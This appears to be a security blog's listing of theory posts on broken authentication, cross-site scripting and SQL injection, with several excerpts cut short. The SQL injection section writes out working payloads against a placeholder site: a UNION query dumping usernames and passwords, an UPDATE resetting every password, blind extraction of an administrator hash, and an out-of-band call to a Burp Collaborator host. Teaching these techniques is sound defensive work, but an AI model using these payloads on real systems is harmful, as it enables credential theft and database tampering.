Broken Authentication

Tue, 15 Mar 2022 12:00:00 -0400

Authentication is the process of verifying the identity of a given user or client. In other words, it involves making sure that they really are who they claim to be, there are three authentication factors:

Something you know, such as password or security question, known as “knowledge factors”
Something you have, a physical object like a mobile phone or security token, known as “possession factors”
Something you are, for example biometrics or patterns of behavior, known as “inherence factors”

What is the difference between authentication and authorization? Authentication is the process of verifying that a user is who they claim to be, whereas authorization involves verifying whether a user is allowed to do something

Cross-site scripting (XSS)

Mon, 14 Feb 2022 12:00:00 -0400

Cross-site scripting known as XSS is a web vulnerability in which malicious scripts are injected int benign and trusted websites. XSS occur when an attacker send malicious code in any user input fields in a browser to a different end-user.

Mechanisms

In an XSS attack the attacker inject script in HTML code so you’ll have to know javascript and HTML syntax, wbe uses scripts to control client-side application logic and make the website interactive, for example this script generates Hello! pop-up on the web page:

SQL Injection

Tue, 25 Jan 2022 12:00:00 -0400

A SQL injection is an attack in which the attacker executes arbitrary SQL commands on an application’s database by supplying malicious input inserted into a SQL statement. This happens when the input used in SQL queries is incorrectly filtered or escaped and can lead to authentication bypass, sensitive data leaks, tampering of the database and RCE in some cases.

In-Band (classic) SQL Injection

Occurs when the attacker uses the same communication channel to both launch the attack and gather the result of the attack
- Retrieved data is presented directly in the web page
Easier to exploit than other categories of SQLi

Error-Based SQLi

Error bases SQLi is an in-band SQLi technique that forces the database to generate an error, giving the attacker information upon which to refine their injection

www.random.com/app.php?id='
#output
#You have an error in your SQL syntax, check the manual that corresponds to your MySQL server version...

Union-Based SQLi

Is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of two queries into a single result set
Input:

# retrieving data from another table
http://www.random.com/app.php?id=’ UNION SELECT username, password FROM users; --

# update all passwords from a table with POST method
http://www.random.com/app.php?new_password="password12345';--"
query = UPDATE Users SET Password='password12345';-- WHERE Id = 2;

--- The WHERE clause, which specifies the criteria of the rows that should be updated, is commented out in this query. The database would update all rows in the table, and change all of the passwords in the Users table to password12345. The attacker can now log in as anyone by using that password

SQLi vuln where there is no actual transfer of data via the webapp
Just as dangerous as in-band SQLi
- Attacker be able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server
Takes longer to exploit than in-ban sql injection

Boolean-based SQLi

Uses boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result.

www.random.com/app.php?id=1
select title from product where id=1
#Payload 1 (false)
www.random.com/app.php?id=1 and 1=2
select title from product where id=1 and 1=2
#Payload 2 (true)
www.random.com/app.php?id=1 and 1=1
select title from product where id=1 and 1=1

User table:
Administrator / e3c3889ded99ej29dj9edjdje992
SUBSTRING(a,b,c): function that select a part of a string a: the string, b:the first posicion, c=how many chars
#Payload1
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username ='Administrator'), 1, 1)='s'
#Query
select title from product where id=1 and SUBSTRING((SELECT Password FROM Users Where Username='Administrator'),1,1)='s'
#result: nothing is returned because is false

#Payload 2
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users Where Username='Administrator'),1,1)='e'
#Query
select title from product where id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1)='e'
#result: Returned true, the tile of product id 1 is returned bc "e" is the first character of the hashed pass

Relies in the database pausing for a specified amount of time, then returning the result, indicating a success SQL query execution
Ex: if the first character of the administrator’s hashed pass is an “a”, wait 10 seconds.

Out-of-band (OAST) SQLi

Consists of triggering an out-of-band network connection to a system that you control
- Not common, uses variety os protocols (DNS,HTTP)

'; exec master..xp_dirtree '//434934839493499.burpcollabolator.net/a'--

Second order SQLi

Second order SQLi happens when applications user input gets stored in the database, then retrieved and used unsafely in a SQL query. For example consider an app that register an user by specifying username and password, and the user submit the following request:

Theory on s4yhii's blog